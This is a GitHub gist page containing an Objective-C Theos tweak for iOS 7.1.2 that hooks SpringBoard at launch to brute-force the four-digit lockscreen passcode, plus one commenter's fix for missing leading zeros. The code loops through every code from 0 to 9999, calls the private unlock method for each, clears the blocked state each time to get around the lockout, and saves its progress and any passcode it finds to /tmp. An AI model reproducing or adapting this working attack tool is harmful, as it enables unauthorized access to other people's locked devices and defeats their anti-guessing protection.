Skip to content

Instantly share code, notes, and snippets.

@aaronash
Created November 9, 2016 16:03
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save aaronash/ab3914253e30b2d7d168393dc38d92dd to your computer and use it in GitHub Desktop.
Save aaronash/ab3914253e30b2d7d168393dc38d92dd to your computer and use it in GitHub Desktop.
Theos syntax iOS tweak for 7.1.2 to brute force the lockscreen pincode
@interface SBDeviceLockController : NSObject
+(id)sharedController;
-(BOOL)attemptDeviceUnlockWithPassword:(id)password appRequested:(BOOL)requested;
-(void)_clearBlockedState;
@end
%hook SpringBoard
-(void)applicationDidFinishLaunching:(id)application {
%orig;
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSString *passcode = [NSString stringWithContentsOfFile:@"/tmp/passcode_crack" encoding:NSUTF8StringEncoding error:nil];
NSLog(@"loaded passcode: %@", passcode);
for (int i = [passcode intValue]; i <= 9999; i++) {
[[%c(SBDeviceLockController) sharedController] _clearBlockedState];
passcode = [NSString stringWithFormat:@"%d", i];
[passcode writeToFile:@"/tmp/passcode_crack" atomically:true encoding:NSUTF8StringEncoding error:nil];
if ([[%c(SBDeviceLockController) sharedController] attemptDeviceUnlockWithPassword:passcode appRequested: nil]) {
NSLog(@"FOUND IT! yo yo passcode: %@", passcode);
[passcode writeToFile:@"/tmp/passcode_crack_success" atomically:true encoding:NSUTF8StringEncoding error:nil];
break;
} else {
NSLog(@"not this passcode: %@", passcode);
}
}
});
}
%end
@Bensge
Copy link

Bensge commented Apr 15, 2017

@aaronash pretty sure in line 16 the format%04d should be used to produce valid passcodes with leading zeroes when i < 1000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment